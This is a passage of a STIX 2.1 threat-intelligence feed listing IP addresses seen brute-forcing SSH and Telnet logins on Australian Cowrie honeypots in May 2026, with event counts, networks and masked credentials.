      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--e4eb53a3-4db8-4e18-b509-ab7b84f21e89",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.247.85.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T09:15:05.000Z",
      "valid_until": "2026-06-10T09:15:03.000Z"
    },
    {
      "created": "2026-05-09T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 9845. Organisation(s): LG HelloVision Corp..",
      "id": "indicator--2dd13583-b77c-412a-a89e-acea7ac5d00f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.248.124.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T09:15:05.000Z",
      "valid_until": "2026-06-10T09:15:03.000Z"
    },
    {
      "created": "2026-05-09T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 577. Organisation(s): Bell Canada.",
      "id": "indicator--8f289135-f9d1-4b37-9544-360e714cf20c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '142.188.241.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T09:15:05.000Z",
      "valid_until": "2026-06-10T09:15:03.000Z"
    },
    {
      "created": "2026-05-09T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): A*******************p, G************1, U*******************************x. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--6e21bd1d-6bfe-485f-8daf-5246748dce0a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '142.93.106.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T09:15:05.000Z",
      "valid_until": "2026-06-10T09:15:03.000Z"
    },
    {
      "created": "2026-05-09T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 262378. Organisation(s): Compuservice Empreendimentos Ltda.",
      "id": "indicator--d143affa-2396-420f-8762-084769f305cf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.131.19.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T09:15:05.000Z",
      "valid_until": "2026-06-10T09:15:03.000Z"
    },
    {
      "created": "2026-05-09T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 35. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--3e15b2e9-ebc9-4829-8812-8b709677174c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.118.147.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T09:15:05.000Z",
      "valid_until": "2026-06-10T09:15:03.000Z"
    },
    {
      "created": "2026-05-09T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ES. ASN(s): 211261. Organisation(s): Fibranet Tecnologia y Sistemas SL.",
      "id": "indicator--d27abd5f-59d4-4ab7-8129-e4e74f44a614",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.223.177.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T09:15:05.000Z",
      "valid_until": "2026-06-10T09:15:03.000Z"
    },
    {
      "created": "2026-05-09T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 8151. Organisation(s): UNINET. Usernames observed (masked): u***4, 3**********4. Passwords observed (masked): 3***********4, 3**********4, u***4.",
      "id": "indicator--4882ee36-d2cf-4bff-bdd9-e5f82ff26178",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.141.71.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T09:15:05.000Z",
      "valid_until": "2026-06-10T09:15:03.000Z"
    },
    {
      "created": "2026-05-09T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 107. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 28656. Organisation(s): BTT TELECOMUNICACOES S.A.. Usernames observed (masked): u***4, 3**********4, d****r, n***r, p******s. Passwords observed (masked): 1****3, 1****6, 1******q, 3***********4, 3**********4.",
      "id": "indicator--8f445dc7-7aef-45ac-a830-f03b04f1c987",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.77.171.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T09:15:05.000Z",
      "valid_until": "2026-06-10T09:15:03.000Z"
    },
    {
      "created": "2026-05-09T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd. Usernames observed (masked): m***l, n***r, ***. Passwords observed (masked): 1****e, n***r, v****3.",
      "id": "indicator--1b271b06-38f9-4eb3-909c-e0899a9370f9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '218.51.148.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T09:15:05.000Z",
      "valid_until": "2026-06-10T09:15:03.000Z"
    },
    {
      "created": "2026-05-09T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 9304. Organisation(s): HGC Global Communications Limited.",
      "id": "indicator--71940f69-a223-4d62-b025-df85dc582ab1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '221.126.232.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T09:15:05.000Z",
      "valid_until": "2026-06-10T09:15:03.000Z"
    },
    {
      "created": "2026-05-09T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 197. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 9304. Organisation(s): HGC Global Communications Limited. Usernames observed (masked): a***n, r**t, u**r, 3**********4, **. Passwords observed (masked): *, 1****1, ***, 1****6, 3***********4.",
      "id": "indicator--141346b3-f880-45b8-b953-e8ae98248db1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.17.5.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T09:15:05.000Z",
      "valid_until": "2026-06-10T09:15:03.000Z"
    },
    {
      "created": "2026-05-09T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 72. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********8, H**********************3.",
      "id": "indicator--7143b526-6bae-48c1-94d6-6f7276f2b934",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '35.240.29.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T09:15:05.000Z",
      "valid_until": "2026-06-10T09:15:03.000Z"
    },
    {
      "created": "2026-05-09T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 701. Organisation(s): Verizon Business.",
      "id": "indicator--b0474f76-eb03-46c1-8f36-ef68c5667725",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '98.113.202.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T09:15:05.000Z",
      "valid_until": "2026-06-10T09:15:03.000Z"
    },
    {
      "created": "2026-05-09T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--0ea3cfb9-3562-4a69-bc36-879667255231",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '101.75.224.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T10:15:10.000Z",
      "valid_until": "2026-06-10T10:15:09.000Z"
    },
    {
      "created": "2026-05-09T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--c306f547-e516-4ae8-8ce5-746a2a732a36",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '125.112.44.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T10:15:10.000Z",
      "valid_until": "2026-06-10T10:15:09.000Z"
    },
    {
      "created": "2026-05-09T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 40065. Organisation(s): CNSERVERS LLC. Usernames observed (masked): a***n, p******s, t**t, u****u, 3**********4. Passwords observed (masked): ***, t**t, !******x, 1******$, 1***5.",
      "id": "indicator--c9bb6f6f-c0e6-41bf-ba21-ff029ae1b682",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '154.198.215.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T10:15:10.000Z",
      "valid_until": "2026-06-10T10:15:09.000Z"
    },
    {
      "created": "2026-05-09T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): p******s, 3**********4, b****x, d*********n, m*****n. Passwords observed (masked): ***, 3***********4, 3**********4, a*******a, d*********n.",
      "id": "indicator--75e78167-af90-4c63-a17b-4fdfb433bc0e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '154.81.15.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T10:15:10.000Z",
      "valid_until": "2026-06-10T10:15:09.000Z"
    },
    {
      "created": "2026-05-09T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--97c9e05d-30e3-446f-bdb8-db3baec64911",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '157.49.1.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T10:15:10.000Z",
      "valid_until": "2026-06-10T10:15:09.000Z"
    },
    {
      "created": "2026-05-09T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: BG. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt).",
      "id": "indicator--0c876d27-6905-4150-a6cb-de0c94b420c0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.109.200.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T10:15:10.000Z",
      "valid_until": "2026-06-10T10:15:09.000Z"
    },
    {
      "created": "2026-05-09T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 53667. Organisation(s): FranTech Solutions.",
      "id": "indicator--72e173bd-39ce-4cad-b41b-903050e1b3ca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.185.117.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T10:15:10.000Z",
      "valid_until": "2026-06-10T10:15:09.000Z"
    },
    {
      "created": "2026-05-09T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 36. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, a***n, r**t.",
      "id": "indicator--645530ed-4fe0-45a5-815d-e25907998d3d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '222.118.170.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T10:15:10.000Z",
      "valid_until": "2026-06-10T10:15:09.000Z"
    },
    {
      "created": "2026-05-09T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, u****u, u**r, u***3, 3**********4. Passwords observed (masked): 1****0, ***, 1****1, 1******x, 1******X.",
      "id": "indicator--5a3bdd05-c701-45d6-a830-c4783b6434c4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.157.98.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T10:15:10.000Z",
      "valid_until": "2026-06-10T10:15:09.000Z"
    },
    {
      "created": "2026-05-09T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: OM. ASN(s): 28885. Organisation(s): Oman Telecommunications Company (S.A.O.G).",
      "id": "indicator--37d96e32-b58d-480e-bc10-f6120426bf23",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.37.162.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T10:15:10.000Z",
      "valid_until": "2026-06-10T10:15:09.000Z"
    },
    {
      "created": "2026-05-09T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 3786. Organisation(s): LG DACOM Corporation.",
      "id": "indicator--80548017-1fe8-4fd9-b95e-e13caa05ae7f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.151.173.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T10:15:10.000Z",
      "valid_until": "2026-06-10T10:15:09.000Z"
    },
    {
      "created": "2026-05-09T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FI. ASN(s): 24940. Organisation(s): Hetzner Online GmbH.",
      "id": "indicator--f013f417-9e0a-42e1-8607-d08d6a892db8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '65.108.242.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T10:15:10.000Z",
      "valid_until": "2026-06-10T10:15:09.000Z"
    },
    {
      "created": "2026-05-09T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--6d9aa3bb-48b2-4d30-8cd9-d483f6c43236",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.224.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T10:15:10.000Z",
      "valid_until": "2026-06-10T10:15:09.000Z"
    },
    {
      "created": "2026-05-09T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--8cbc6934-27aa-46ab-b3b3-d75accc9417e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '72.255.19.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T10:15:10.000Z",
      "valid_until": "2026-06-10T10:15:09.000Z"
    },
    {
      "created": "2026-05-09T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FI. ASN(s): 51765. Organisation(s): Oy Crea Nova Hosting Solution Ltd.",
      "id": "indicator--f076c0db-cc54-4533-bc98-43cadd988a0f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.132.197.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T10:15:10.000Z",
      "valid_until": "2026-06-10T10:15:09.000Z"
    },
    {
      "created": "2026-05-09T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 215607. Organisation(s): dataforest GmbH. Usernames observed (masked): a***n. Passwords observed (masked): p******d.",
      "id": "indicator--d6455406-5a97-410d-af04-69a50955fda9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '94.26.106.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T10:15:10.000Z",
      "valid_until": "2026-06-10T10:15:09.000Z"
    },
    {
      "created": "2026-05-09T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 88. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 141679. Organisation(s): China Telecom Beijing Tianjin Hebei Big Data Industry Park Branch.",
      "id": "indicator--9af89ec0-3cce-4daa-ad89-74c91cbec9fc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '111.228.49.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T11:15:10.000Z",
      "valid_until": "2026-06-10T11:15:08.000Z"
    },
    {
      "created": "2026-05-09T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BG. ASN(s): 48917. Organisation(s): Optinet Ltd.",
      "id": "indicator--5720bc59-118f-4c8a-ac6e-5ca2d993eae0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '130.185.222.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T11:15:10.000Z",
      "valid_until": "2026-06-10T11:15:08.000Z"
    },
    {
      "created": "2026-05-09T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SA. ASN(s): 39891. Organisation(s): Saudi Telecom Company JSC.",
      "id": "indicator--b1c81180-b92c-44f0-9486-bb9086d2c088",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '2.90.98.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T11:15:10.000Z",
      "valid_until": "2026-06-10T11:15:08.000Z"
    },
    {
      "created": "2026-05-09T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 46475. Organisation(s): Limestone Networks, Inc..",
      "id": "indicator--63ce6063-7a77-43f4-8ea9-9ac229669332",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '208.115.214.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T11:15:10.000Z",
      "valid_until": "2026-06-10T11:15:08.000Z"
    },
    {
      "created": "2026-05-09T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PK. ASN(s): 205759. Organisation(s): Ghosty Networks LLC. Usernames observed (masked): a***n. Passwords observed (masked): p******d.",
      "id": "indicator--950423b4-b825-44c9-a3e6-3bb8c62ec194",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.228.157.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T11:15:10.000Z",
      "valid_until": "2026-06-10T11:15:08.000Z"
    },
    {
      "created": "2026-05-09T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KZ. ASN(s): 203087. Organisation(s): Fedinyak Sergey Vyacheslavovich.",
